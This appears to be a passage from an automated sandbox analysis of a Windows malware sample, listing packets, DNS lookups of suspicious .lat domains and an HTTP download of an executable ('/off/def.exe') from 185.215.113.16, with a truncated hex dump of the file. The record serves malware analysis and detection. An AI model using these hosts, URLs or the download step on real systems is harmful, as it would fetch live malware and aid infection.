Dec 23, 2024 07:28:55.139302969 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.139336109 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.139775038 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.139847040 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.139869928 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.139882088 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.139913082 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.140136957 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.140147924 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.140157938 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.140186071 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.140716076 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.140770912 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.140832901 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.140850067 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.140894890 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.141082048 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.141092062 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.141102076 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.141128063 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.141501904 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.141545057 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.141627073 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.141638041 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.141673088 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.141870022 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.141928911 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.141940117 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.141983032 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.142337084 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.142383099 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.142467022 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.142477989 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.142524004 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.142728090 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.142738104 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.142748117 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.142784119 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.143202066 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.143289089 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.143300056 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.143328905 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.143349886 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.143528938 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.143547058 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.143558979 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.143585920 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.193865061 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.198617935 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.198627949 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.198683977 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.198774099 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.198788881 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.198828936 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.199014902 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.199026108 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.199234962 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.199337006 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.199350119 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.199491978 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.199533939 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.199656963 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.199706078 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.199775934 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.200083017 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.200093985 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.200122118 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.200242996 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.200413942 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.200453997 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.200608015 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.200618982 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.200654030 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.200778961 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.200789928 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.200802088 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.200823069 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.200841904 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.201301098 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.201471090 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.201483965 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.201513052 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.201793909 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.201803923 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.201816082 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.201843023 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.201867104 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.202260017 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.202294111 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.202337027 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.272248030 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.272262096 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.272274017 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.272337914 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.272564888 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.272576094 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.272586107 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.272624016 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.272634983 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.272994995 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.273171902 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.273183107 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.273227930 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.273351908 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.273363113 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.273396015 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.273520947 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.273530960 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.273538113 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.273545980 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.273556948 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.273565054 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.273607016 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.273627043 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.273637056 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.273648024 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.273670912 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.273967028 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.274122953 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.274132967 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.274171114 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.274338961 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.274388075 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.274399996 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.274427891 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.276339054 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.276395082 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.276626110 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.318950891 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.328969002 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.329040051 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.329050064 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.329240084 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.329324961 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.329335928 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.329371929 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.329539061 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.329668045 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.329719067 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.329797029 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.329807997 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.329818964 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.329845905 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.329862118 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.330159903 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.330169916 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.330219984 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.330385923 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.330394983 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.330439091 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.330595970 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.330641985 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.330651999 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.330662966 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.330688000 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.330707073 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.331108093 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.331270933 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.331281900 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.331326008 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.331513882 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.331523895 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.331533909 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.331558943 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.331579924 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.331865072 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.332009077 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.332017899 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.332077026 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.332310915 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.332320929 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.332331896 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.332360029 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.332376957 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.332715988 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.332828999 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.332839012 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.332884073 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.333107948 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.333117962 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.333127975 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.333161116 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.333168983 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.333705902 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.333802938 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:55.334297895 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:55.509932041 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:58.481915951 CET	49779	80	192.168.2.7	185.215.113.206
Dec 23, 2024 07:28:58.601721048 CET	80	49779	185.215.113.206	192.168.2.7
Dec 23, 2024 07:28:58.604376078 CET	49779	80	192.168.2.7	185.215.113.206
Dec 23, 2024 07:28:58.608443975 CET	49779	80	192.168.2.7	185.215.113.206
Dec 23, 2024 07:28:58.728171110 CET	80	49779	185.215.113.206	192.168.2.7
Dec 23, 2024 07:28:59.937350035 CET	80	49779	185.215.113.206	192.168.2.7
Dec 23, 2024 07:28:59.940357924 CET	49779	80	192.168.2.7	185.215.113.206
Dec 23, 2024 07:28:59.942413092 CET	49779	80	192.168.2.7	185.215.113.206
Dec 23, 2024 07:29:00.061964035 CET	80	49779	185.215.113.206	192.168.2.7
Dec 23, 2024 07:29:00.382390022 CET	80	49779	185.215.113.206	192.168.2.7
Dec 23, 2024 07:29:00.384382963 CET	49779	80	192.168.2.7	185.215.113.206
Dec 23, 2024 07:29:02.403136969 CET	49779	80	192.168.2.7	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 07:28:19.481169939 CET	61005	53	192.168.2.7	1.1.1.1
Dec 23, 2024 07:28:19.620629072 CET	53	61005	1.1.1.1	192.168.2.7
Dec 23, 2024 07:28:19.625916004 CET	63520	53	192.168.2.7	1.1.1.1
Dec 23, 2024 07:28:19.763444901 CET	53	63520	1.1.1.1	192.168.2.7
Dec 23, 2024 07:28:19.766786098 CET	49990	53	192.168.2.7	1.1.1.1
Dec 23, 2024 07:28:19.905517101 CET	53	49990	1.1.1.1	192.168.2.7
Dec 23, 2024 07:28:19.985954046 CET	57623	53	192.168.2.7	1.1.1.1
Dec 23, 2024 07:28:20.123531103 CET	53	57623	1.1.1.1	192.168.2.7
Dec 23, 2024 07:28:20.129100084 CET	61904	53	192.168.2.7	1.1.1.1
Dec 23, 2024 07:28:20.267414093 CET	53	61904	1.1.1.1	192.168.2.7
Dec 23, 2024 07:28:20.329056978 CET	64003	53	192.168.2.7	1.1.1.1
Dec 23, 2024 07:28:20.466929913 CET	53	64003	1.1.1.1	192.168.2.7
Dec 23, 2024 07:28:20.470869064 CET	64113	53	192.168.2.7	1.1.1.1
Dec 23, 2024 07:28:20.608515978 CET	53	64113	1.1.1.1	192.168.2.7
Dec 23, 2024 07:28:20.635972023 CET	64239	53	192.168.2.7	1.1.1.1
Dec 23, 2024 07:28:20.772950888 CET	53	64239	1.1.1.1	192.168.2.7
Dec 23, 2024 07:28:20.776367903 CET	61568	53	192.168.2.7	1.1.1.1
Dec 23, 2024 07:28:20.914499044 CET	53	61568	1.1.1.1	192.168.2.7
Dec 23, 2024 07:28:20.917730093 CET	64671	53	192.168.2.7	1.1.1.1
Dec 23, 2024 07:28:21.055607080 CET	53	64671	1.1.1.1	192.168.2.7
Dec 23, 2024 07:28:23.511871099 CET	62001	53	192.168.2.7	1.1.1.1
Dec 23, 2024 07:28:23.649538994 CET	53	62001	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 07:28:19.481169939 CET	192.168.2.7	1.1.1.1	0x2cfd	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:19.625916004 CET	192.168.2.7	1.1.1.1	0xb6c5	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:19.766786098 CET	192.168.2.7	1.1.1.1	0x6b44	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:19.985954046 CET	192.168.2.7	1.1.1.1	0xc518	Standard query (0)	necklacebudi.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:20.129100084 CET	192.168.2.7	1.1.1.1	0xc912	Standard query (0)	energyaffai.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:20.329056978 CET	192.168.2.7	1.1.1.1	0xc678	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:20.470869064 CET	192.168.2.7	1.1.1.1	0xb79a	Standard query (0)	sustainskelet.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:20.635972023 CET	192.168.2.7	1.1.1.1	0xd27f	Standard query (0)	crosshuaht.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:20.776367903 CET	192.168.2.7	1.1.1.1	0xf958	Standard query (0)	rapeflowwj.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:20.917730093 CET	192.168.2.7	1.1.1.1	0x4007	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:23.511871099 CET	192.168.2.7	1.1.1.1	0x4bcf	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 07:28:19.620629072 CET	1.1.1.1	192.168.2.7	0x2cfd	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:19.763444901 CET	1.1.1.1	192.168.2.7	0xb6c5	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:19.905517101 CET	1.1.1.1	192.168.2.7	0x6b44	Name error (3)	discokeyus.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:20.123531103 CET	1.1.1.1	192.168.2.7	0xc518	Name error (3)	necklacebudi.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:20.267414093 CET	1.1.1.1	192.168.2.7	0xc912	Name error (3)	energyaffai.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:20.466929913 CET	1.1.1.1	192.168.2.7	0xc678	Name error (3)	aspecteirs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:20.608515978 CET	1.1.1.1	192.168.2.7	0xb79a	Name error (3)	sustainskelet.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:20.772950888 CET	1.1.1.1	192.168.2.7	0xd27f	Name error (3)	crosshuaht.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:20.914499044 CET	1.1.1.1	192.168.2.7	0xf958	Name error (3)	rapeflowwj.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:21.055607080 CET	1.1.1.1	192.168.2.7	0x4007	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:23.649538994 CET	1.1.1.1	192.168.2.7	0x4bcf	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:28:23.649538994 CET	1.1.1.1	192.168.2.7	0x4bcf	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49748	185.215.113.16	80	6440	C:\Users\user\Desktop\s31ydU1MpQ.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 07:28:44.103760958 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 07:28:45.444653988 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 06:28:44 GMT Content-Type: application/octet-stream Content-Length: 2845696 Last-Modified: Mon, 23 Dec 2024 06:14:51 GMT Connection: keep-alive ETag: "6768ffdb-2b6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 df 49 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +I,`Ui`D @ @ @.rsrcD``@.idata f@tnrxecbv**h@anayjrgy +F+@.taggant@+"J+@
Dec 23, 2024 07:28:45.444684029 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:28:45.444695950 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:28:45.444885969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:28:45.444926977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:28:45.444938898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:28:45.444947004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:28:45.445559978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:28:45.445571899 CET	1236	IN	Data Raw: f3 c4 b8 4b f5 e6 de 25 17 e7 d0 25 17 e8 b4 32 17 13 ef 25 21 e6 b4 25 17 e6 b4 25 17 2c fb 25 1a fa b4 25 18 01 e5 28 17 7c b6 25 17 e6 b4 25 17 0e c1 25 17 ec dc 32 17 e6 ba 4d 25 e6 b4 2b 3f f5 b4 25 1d 58 ea 25 17 56 dd 35 17 e6 ba 97 60 e6 Data Ascii: K%%2%!%%,%%(\|%%%2M%+?%X%V5`%Xz&V6%X&V6d%X&V6d%X&V6d%X&V6dL%X&V6d%X&V6O%X&V6
